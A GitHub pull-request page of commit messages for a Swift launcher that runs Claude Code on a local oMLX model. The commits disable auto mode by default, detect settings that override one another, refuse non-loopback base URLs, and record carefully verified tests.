Auto mode is a named Claude Code permission mode, and on Pro/Max/Team plans running
2.1.228+ it is the mode a session *starts* in: everything runs, reviewed by a classifier
instead of by the operator. That premise is calibrated for a hosted model. This command
replaces the acting model with a local one and says nothing about oversight, so the two
reported symptoms follow directly — a tool loop with no confirmation step left to break
it, and a malformed tool call executed rather than reviewed.

Turning it off needs an escape hatch, and the escape hatch is where this goes wrong
quietly if it is lenient. `autoModeOptIn` accepts **only** the literal `1`, matching
`LoopbackPolicy.allowsRemote` exactly. The failure mode of a loose parse is not an error
anyone can trace: `OMLX_ALLOW_AUTO_MODE=true` would read as consent, auto mode would come
back, and the next thing the operator sees is the local model acting unreviewed.

The test carries the near-misses rather than a single happy path — `true`, `TRUE`, `yes`,
`on`, `01`, `" 1"`, `"1 "`, `0`, empty, and `disable`. A `!= nil` check passes none of
them, which is the point: this repo has already shipped tests whose fixtures came from the
same mental model as the code and so could not disconfirm it.

Nothing consumes this yet. The payload cannot carry the key it gates until its shape is
widened past `env`, which is the next commit.

97 Swift tests.

Refs #11
…ugh it (#11)

The defect was the payload's *shape*, not a missing key. `settingsJSON` built
`["env": overrides(...)]` and nothing else, so a top-level settings key had nowhere to go
— `disableAutoMode` here, and anything non-`env` this launcher ever needs after it. The key
is a consequence of the shape change, which is why they land together.

`settingsPayload` now assembles a top-level dictionary of which `env` is one member, and
emits `disableAutoMode: "disable"` unless `OMLX_ALLOW_AUTO_MODE=1`. That adds a third
category to the split this file's header describes: besides keys we override and keys we
only report, there are keys we set *on the operator's behalf* — defaults that are right for
a local model driving the session, takeable back explicitly.

**`managedConflicts` needed the top level too, or it would have been inert.** The obvious
reading of "register the key with managedConflicts" is to add it beside the others, but
that function filters `managedSettings["env"]`, and `disableAutoMode` is not an environment
variable. Registered there it could never fire — a check that looks like coverage and is
not, which is the CLAUDE_CODE_DISABLE_1M_CONTEXT shape one level down. It now reads the top
level, and `permissions.disableAutoMode` as well, because Claude Code documents that
spelling and a policy using the one we did not look for would go unnamed.

**Both guards are mutation-proven, and the mutations were asserted before their results
were read.** Emitting the key unconditionally turns `testOptInSuppressesTheKey` red;
relaxing `== "1"` to `!= nil` turns `testOptInAcceptsOnlyLiteralOne` red on `true`, `TRUE`,
`yes` and the rest. The first of those is the positive case that stops this from becoming a
check that refuses everything and passes every negative test.

Two existing tests unwrapped the payload as `[String: [String: String]]` and now unwrap
`env` on its own. That cast failing was the intended signal, not collateral damage: it is
what a payload that carries mixed types looks like from the outside.

Verified against Claude Code 2.1.234: `claude --settings '{"disableAutoMode":"disable"}'`
removes `auto` from the Shift+Tab cycle. The key is honoured through `--settings`; that was
the premise this change was gated on and it is not assumed.

103 Swift tests.

Refs #11
…ission-mode auto (#11)

Claude Code downgrades a `--permission-mode auto` session to `default` when
`disableAutoMode` is set, and says nothing about it. An overridden *deliberate* choice is
the one thing this launcher does not swallow — `unwinnableConflicts` and `managedConflicts`
exist for the same reason — so the launch names it and points at the opt-out.

**`ProbeTarget.value` looked like the right tool and would have been inert.** It resolves
every token through `matchOption`, which only recognizes `omlxOptions`; `--permission-mode`
belongs to Claude Code, so the scanner returns nil for it under every input. Reusing it
would have produced a detector that can never fire — the second instance of that shape in
this change, after the `managedConflicts` one. The discipline is shared and the mechanism
is not: stop at `--`, accept the `=` form, last occurrence wins, and match exactly, since
Claude Code's parser takes no argparse-style prefixes and inventing them would report a
flag nobody passed.

**The note moved ahead of the preflight, and testability is the reason.** It is a fact
about argv that owes nothing to whether the server answers, and putting it before the
network call makes it checkable by hand without a running oMLX. That matters more here than
elsewhere: CLAUDE.md already records that nothing in main.swift has a unit test and that a
mutation there leaves the whole suite green, so a guard that cannot be exercised without
infrastructure is a guard nobody will check.

Hand-checked, all six against the built binary with no server running:

    --permission-mode auto              → note fires
    --permission-mode default           → silent
    -- --permission-mode auto           → silent (terminator honoured)
    -p "tell me about auto mode"        → silent (bare word is not a flag)
    OMLX_ALLOW_AUTO_MODE=1  … auto      → silent (opt-in honoured at the call site too)
    OMLX_ALLOW_AUTO_MODE=true … auto    → still fires (strictness holds end to end)

The last two are the pair that matters: the opt-in has to reach this call site, not only
the payload, and it has to stay strict on the way.

109 Swift tests, 21 shell assertions.

Refs #11
…flags pass through (#11)

The help text said `--permission-mode and the rest behave as they always do`. After this
change that sentence is false for exactly one value, and a help text that is false about
the flag a user just typed is worse than one that says nothing.

`--help` now carries an AUTO MODE section, `OMLX_ALLOW_AUTO_MODE` joins ENVIRONMENT beside
`OMLX_ALLOW_REMOTE`, and README gains a matching bullet.

**All three places state the claim at its actual size.** The launch *asserts* auto mode
off; it does not guarantee auto mode stays off. Managed policy outranks `--settings`, and a
`--settings` of the operator's own is parsed after ours (#10). Writing "auto mode is off"
would be the #2716 mistake again — that one was a mechanism which was harmless and a claim
which was the defect, and the disproving evidence was already in the output when the claim
shipped.

CLAUDE.md records the third category this opens up. The override used to split in two,
keys we determine and keys we only report; there is now a third — keys we set *on the
operator's behalf*. It is the one to be careful with, because unlike the other two it
changes behaviour nobody asked about.

It also records both inert-mechanism traps hit on the way, because each looked exactly like
the obvious implementation:

- registering a non-`env` key with `managedConflicts`, which filters `managedSettings["env"]`
  and would never have fired;
- reusing `ProbeTarget.value` for a Claude Code flag, when it resolves tokens through
  `matchOption` and returns nil for anything outside `omlxOptions`.

Both are the `CLAUDE_CODE_DISABLE_1M_CONTEXT` shape one level down: coverage-shaped and
doing nothing. Writing down where they hide is cheaper than finding them a third time.

109 Swift tests, 21 shell assertions.

Refs #11
…may not have (#11)

Adding `disableAutoMode` to `managedConflicts` made an existing sentence false. The notice
ended with "so the address checked above may not be the address the session uses", which
was true while every key it could name was an address or a credential. A managed policy
that sets only `disableAutoMode` now produces that same sentence, answering a question the
operator did not ask about a guarantee this key has nothing to do with.

The mechanism was fine and the claim was the defect — the shape this repo keeps writing
down, and one I introduced two commits ago rather than inherited.

`managedConflictNotice` moves the text into LaunchSettings and makes the address sentence
conditional on an address key actually being named. Moving it is the point as much as the
fix: CLAUDE.md records that nothing in main.swift is unit-tested and that a mutation there
leaves the suite green, and the text *is* the entire product of this path, so it is exactly
the part worth pinning.

Mutation-proven, mutation asserted before its result was read: restoring the unconditional
form turns `testAddressSentenceAppearsOnlyWhenAnAddressKeyIsNamed` red. The paired
assertion — that the address warning still appears for `ANTHROPIC_BASE_URL` — is what keeps
this from being a fix that deletes the warning and passes by saying nothing.

112 Swift tests, 21 shell assertions.

Refs #11
kiki830621 and others added 10 commits August 18, 2026 15:56
… main.swift (#11)

CLAUDE.md already warned that nothing in `main.swift` is unit-tested and that a mutation
there leaves the suite green. It said to check those by hand, and stopped. `9d12a56` did
something better than checking harder, and the reasoning was not written down anywhere:
when the entire product of a path through that file is *text*, the text can move into a
testable type and leave a condition and a call behind.

That is the smaller lesson inside the managed-notice fix. The bug was a sentence about
addresses that stayed true only while every key it could name was an address or a
credential; adding `disableAutoMode` made it false and nothing went red, because a string
built inline in `main.swift` cannot be asserted on. Message-shaped bugs are what this
repo's history mostly consists of — the mechanism harmless, the claim the defect — and a
string-returning function is exactly what they can be made to fail on.

The hand-check is not retired by this, only made cheaper: what remains at the call site is
an `if` and one line.

112 Swift tests, 21 shell assertions.

Refs #11
`omlx --version` now reports 0.6.4, five releases past the 0.6.0rc1 the
settings override was last read against, so the launcher had started
printing its staleness notice on every run.

Re-read both files the baseline names, in the installed app rather than
upstream's tree:

- `integrations/claude.py` is byte-identical between 0.6.0rc1 and 0.6.4.
  Neither jundot/omlx 2715 nor jundot/omlx 2716 is fixed, so the override
  is still load-bearing and this bump records that the ground was checked,
  not that it shifted.
- `cli.py` moved in one place `launch` reaches: it now splits the `--`
  forwarding separator itself instead of leaving it to `parse_known_args`.
  Address resolution is unaffected, because neither the old parser nor the
  new one reads a flag after `--` as an oMLX option — which is what
  `ProbeTarget` already assumes when it stops there.

The baseline-relative tests moved with the constant. The old case asserted
that a release outranks its own rc using 0.6.0 as the fixture, and 0.6.0 is
now older than the baseline. The replacement asserts both directions —
0.6.4rc1 must stay silent, 0.6.5rc1 must fire — so neither can pass by
refusing everything. Both were run against the un-bumped constant first,
and the silent-direction case failed there, as it had to.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…0.6.4

The baseline bump in 0d2093a required re-reading the installed oMLX. Two facts
that re-read established were left in the commit message, where the next person
designing against them will not look.

Both are about whether the environment is a usable channel through
`omlx launch claude`, and they point opposite ways:

- `_scrubbed_env` removes exactly three `PYTHON*` keys and copies the rest, so
  anything exported before `execvp` arrives intact. It is not a general filter,
  which is easy to assume from the name.
- `ANTHROPIC_AUTH_TOKEN` is reassigned on every launch, so that one key cannot
  be delivered that way at all.

The asymmetry is the part worth writing down: the environment is viable in
general and dead for the credential specifically, and a design that checks only
the first fact will look correct until it ships. It is also why the credential
rides a command-line argument today.

Refs #8
Refs #12

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Everything verified so far ran `-p`. That path cannot invoke a slash command,
a picker, or a permission prompt, so `/model` — the headline defect of #12 —
was reported as untestable rather than tested. The harness could not reach the
behaviour the P0 issue is about, and nothing said so, because every test that
did run came back green.

The rule names the split, the mechanism, and the traps that were paid for
getting here: `~/.claude/` is a sensitive path so scratch dirs cannot live
there; a skip is not a pass; polling for the prompt is not `sleep 5`; and an
isolated CLAUDE_CONFIG_DIR is mandatory because a headed test runs the exact
code path that writes to the operator's real config.

Headed tests get their own target rather than joining `make test`, which is
deliberately hermetic — no network, no oMLX. That target does not exist yet;
the rule says so rather than reading as though it did.

CLAUDE.md previously named one coverage boundary (needs a live oMLX server) and
now names both, so the second one stops being invisible.

Refs #17
Refs #12

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
`process-attachments.sh` writes `_manifest.json` on every diagnose — an empty
one when the issue has no attachments — so `.claude/.idd/attachments/` is
created by the act of diagnosing and then reported untracked forever after.
It regenerates on its own, so a one-time cleanup would not have held.

The pattern is deliberately narrow. Checked against what is actually tracked
rather than reasoned about: `.claude/` would cover `.claude/.idd/local.json`
and `.claude/rules/`, and `.claude/.idd/` would cover the former. Neither would
un-track those files today, but the next file added under either path would be
ignored silently, and that failure surfaces much later than the edit that
caused it.

Second effect, not noted on the issue when it was filed: this untracked path is
the sole reason `git status --porcelain` was non-empty, which is what /idd-all
Phase 0.5 reads for its clean-tree gate. Every PR-mode run aborted before it
started. That gate now passes.

Refs #13

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The rule shipped in b69328e named `make test-headed` and that target did not
exist, so it obliged nobody. This adds the target, the first suite, and the
directory the separation depends on.

The hermetic property of `make test` is kept STRUCTURALLY, not by discipline:
`test-shell` globs `scripts/tests/*.test.sh`, which is not recursive, so a
suite under `scripts/tests/headed/` cannot join it by accident. Verified by
putting a file there and re-running the glob. The Makefile now says so at the
glob itself, because making it recursive is the one edit that would silently
undo this.

What the suite actually covers is a real isatty branch, not a nominal one: oMLX
draws a curses picker with an "↑↓ navigate … q cancel" footer through a PTY and
a plain numbered list without one. `-p` cannot reach the first.

Case 2 is the load-bearing assertion, and it is keystroke-DEPENDENT by design.
A headed test's characteristic failure is asserting on output that would have
appeared anyway — passing while driving nothing. Sending `q` and requiring the
session to end cannot pass without injection. HEADED_NO_INJECT=1 exercises that,
and it was run: case 2 goes red, case 1 stays green.

Two assertions about isolation were written and both removed, which is recorded
in the test rather than quietly dropped:

  - hashing ~/.claude.json and requiring it unchanged is UNSOUND here. That file
    is written by any live Claude Code session, including the one running the
    test, so a change is not attributable to the subject. It passed on one run
    and failed on the next with identical code.
  - requiring the isolated root to be populated is wrong for THIS test, because
    cancelling at the picker means Claude Code never launches and nothing writes
    anywhere. The empty directory is correct behaviour.

Attributable isolation evidence needs a run that actually launches. Both states
are printed as notes and neither is counted — an uncounted truth beats a green
assertion that proves nothing. CLAUDE_CONFIG_DIR is still set on every session
the suite starts, because the enforcement matters even where the assertion
cannot live.

Skip semantics follow the existing shell suites: missing tmux, unbuilt binary or
no oMLX server all skip and are counted, and REQUIRE_FULL_SUITE=1 turns any skip
into a failure. Both exit codes were checked.

Refs #17

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Caught by the doc-sync sweep at close time. Two sentences had gone stale the
moment e78941d landed: "no harness here at all" and "#17 tracks building the
target". Both described the state the issue was filed in, not the state it
closed in.

Replaced with what is true now — the target, where the suites live, and the
non-recursive glob that keeps `make test` hermetic — plus the part that did NOT
change: having a runner is not having a trigger, which is #18.

Refs #17
Refs #18

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The issue's premise had already failed in the direction it warned about.
`.vscode/launch.json` is not untracked noise — it was committed in f1f1a27, a
commit about closing round-3 CRITICALs for #2, which is the signature of a
`git add -A` sweep. The issue was filed to prevent exactly that, and it had
already happened.

That changes the fix: `.gitignore` does not affect tracked files, so adding the
rule alone would have left the stated symptom untouched while producing a
tracked file inside an ignored directory.

launch.json is kept deliberately. It holds only `${workspaceFolder:...}` and
this repo's own build targets — portable, no machine paths, no personal data —
so it is a repo artifact that happens to live under `.vscode/`. The issue body
already prescribes this shape ("再用 `!` 反向 un-ignore 個別檔案").

The glob is `.vscode/*`, not `.vscode/`, and the first version of this commit
had it wrong. Excluding the DIRECTORY makes the `!` line inert: git does not
enumerate an excluded directory, so patterns for files inside it are never
evaluated. It looked correct in this repo only because launch.json is already
tracked and `git check-ignore` skips tracked paths without `--no-index` — a
rule that could never fire, passing because of an unrelated fact.

Caught by running it in a scratch repo rather than reading it:

    .vscode/     → launch.json IGNORED, settings.json IGNORED, 0 files visible
    .vscode/*    → launch.json kept,    settings.json IGNORED, 1 file visible

Same trap as the `.claude/.idd/` carve-out chain discussed in #13.

Refs #4

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
`staleness` has three outcomes and only two were asserted. `.unreadable` is
constructed at two distinct guard clauses — nil/empty input, and a non-empty
string the parser rejects — and `grep -c unreadable` over the test file returned
zero.

The gap was invisible because a CORRECT test made it look covered.
`testUnparseableVersionIsSilent` asserts `stalenessNotice("garbage")` is nil, and
it is: that helper reports only `.newerThanVerified`. Reading the file,
"unparseable" appears handled. It was handled for the helper and untested for the
decision function. Both are kept, with a comment saying why, so the next reader
does not collapse one into the other.

Four cases, and the fourth is the one that stops a case-only assertion from being
enough: the two sites must say DIFFERENT things, or deleting one guard would stay
green.

Mutation-proven rather than assumed — both `.unreadable` returns replaced with
`.quiet`:

    4 failures, exactly the four new cases; the six pre-existing ones passed

Including `testUnparseableVersionIsSilent`, which passed under the mutation. That
is the diagnosis confirming itself: the test that made the gap look covered cannot
see the defect.

Production path checked, not assumed: main.swift:73 binds
`case .newerThanVerified(let notice), .unreadable(let notice)` and prints both, so
this was a coverage gap rather than a live defect. Worth closing anyway — CLAUDE.md
already records that main.swift has no unit test and that a mutation there survived
the suite; leaving the decision function's third branch untested puts the guarantee
back into the untestable half.

Refs #9

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ared window (#3)

The docs named two upstream footguns and the 48K floor. They missed a third that
oMLX marks as confirmed live in its own source:

    # Caveat (confirmed live): this is ignored for model IDs that
    # canonicalize to "claude-*" — Claude Code trusts its own
    # built-in context window for those regardless of this variable.

Still present in oMLX 0.6.4 at integrations/claude.py, checked rather than
carried over from the issue's 0.6.0rc1 quote.

What makes it worth writing down is not that it is obscure but that it is
SILENT. The 48K floor is self-reporting — Claude Code refuses to launch and says
why. This one produces no error and no warning: CLAUDE_CODE_MAX_CONTEXT_TOKENS is
dropped, CLAUDE_CODE_AUTO_COMPACT_WINDOW keeps the advertised value, and the
reported window and the auto-compact denominator quietly stop agreeing. A caveat
that announces itself can live in the code; one that does not has to live in the
docs.

The avoidance is entirely operator-side and costs nothing, so all three surfaces
now say it plainly: do not name a local model `claude-…`.

Refs #3

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
kiki830621 and others added 4 commits September 1, 2026 08:49
…ocal (#5)

Measured rather than asserted:

    git log --oneline --grep='#1'               → 12
    git log --oneline --grep='#1\([^0-9]\|$\)'  →  0

All twelve are false positives. The issue attributed this to oMLX's four-digit
ids; those account for two hits on `#2`. Every one of `#1`'s twelve comes from
THIS repo's own #10 #11 #12 #13 #16 #17 #18. The repo started colliding with
itself the moment it reached two digits, and upstream is the smaller half.

That distinction is the point of the wording. An upstream-only framing invites
"this commit doesn't cite oMLX, so a bare grep is fine" — and none of the twelve
commits cite oMLX.

It has live consumers, named so the warning is not read as trivia: idd-close
Step 1 asks "are there commits referencing this issue" with the bare pattern, and
Step 1.6's semantic gate re-uses it to check that a `- [x]` bullet has backing
commits. For #1 it returns twelve unrelated commits and would call the evidence
sound. idd-list's PR-ref scan is the same defect elsewhere — hit live this
session, computing PR #7's cluster as `#2 #6 #2715 #2716`.

The doc says plainly that writing this down does not fix those tools, which live
in the IDD plugin. It only gives whoever reads their output a chance of
recognising the number is wrong.

Refs #5

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
#17 gave the headed rule a runner and explicitly did not give it a trigger. This
adds one, in the place that already accepts a live oMLX server as a precondition:
the by-hand pre-release checks CLAUDE.md was already asking for.

The section now names three, ordered: `make ping`, `make test-headed`, then a real
tool call.

Chosen over wiring it into `make release-signed`, which was the stronger option and
the wrong trade: signing and notarization would then fail whenever no oMLX server
happened to be running, which has nothing to do with whether the artifact is
signable.

The line says what it is — a human checklist, invoked by a person following it.
Calling that a trigger is generous, and the doc does not pretend otherwise. It is
the honest ceiling for a target that is opt-in by construction, and #18's diagnosis
listed "accept it as a human checklist item and say so" as a legitimate outcome
rather than a failure to automate.

Refs #18
Refs #17

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…hine (#10)

The issue said the outcome "is determined by a parser we refuse to predict" and
asked for it to be settled by reading Claude Code's actual behaviour. Measured
instead, against 2.1.252, using a nonexistent path as a marker for "this argument
was consumed":

    --settings /nope.json                     → error
    --settings '{}' --settings /nope.json     → error        (the later one is read)
    --settings /nope.json --settings '{}'     → no error     (the earlier is discarded)

LAST WINS, and the earlier is not merged — it is ignored. Since main.swift puts
ours first and appends the operator's argv after, theirs replaced the ENTIRE
payload: base URL, credential, timeout, disableAutoMode, all of it. Nothing
noticed.

So the loopback gate had been verifying an address the session would not use —
the consequence the issue predicted, now observed rather than argued.

Refuses on a non-loopback ANTHROPIC_BASE_URL and names the collision otherwise.
That split follows this repo's own precedent rather than a preference:
managedBaseURLVerdict refuses where the danger is visible, unwinnableConflicts
reports where it is not. Here the value IS visible — --settings carries JSON or a
path, both readable before exec — so the loopback half is refusable. An unreadable
or unparseable value reports and proceeds: a danger we could not read is not a
danger we may claim.

The key list in the notice is derived from `overrides` rather than hand-written,
so a key added there cannot go unnamed. A test asserts that coupling, including
`disableAutoMode` — the non-env key a hand-written list would forget, which is the
#11 failure one level down.

12 tests, mutation-proven: forcing the verdict to .absent fails 8 of 12, and the
four that still pass are exactly those that legitimately assert .absent.

Two things the tests could not catch, both found by running the binary:

  - the notice was assembled from two openings and one shared tail, and the
    unreadable form spliced into "…could not be read (no such file), but it and
    Claude Code reads only the last one". It compiled and every test passed.
    Restructured into two self-contained sentences so the seam cannot break that
    way again, with a test on the seam.
  - the harmless-settings path demonstrated the defect live: the warning printed,
    and the next line was `401 Invalid bearer token`, because their settings had
    replaced ours including the credential.

Refs #10

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The Strategy for #10 listed Help.swift and the first commit did not do it. Closing
that rather than leaving it recorded as skipped: the behaviour was discoverable
only by triggering it, and the flags section is where someone looks before they do.

Says the three things that matter and are not guessable: Claude Code reads only the
last --settings, yours is forwarded after ours so it replaces the whole override
rather than merging, and a non-loopback ANTHROPIC_BASE_URL in it is refused
outright.

Refs #10

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant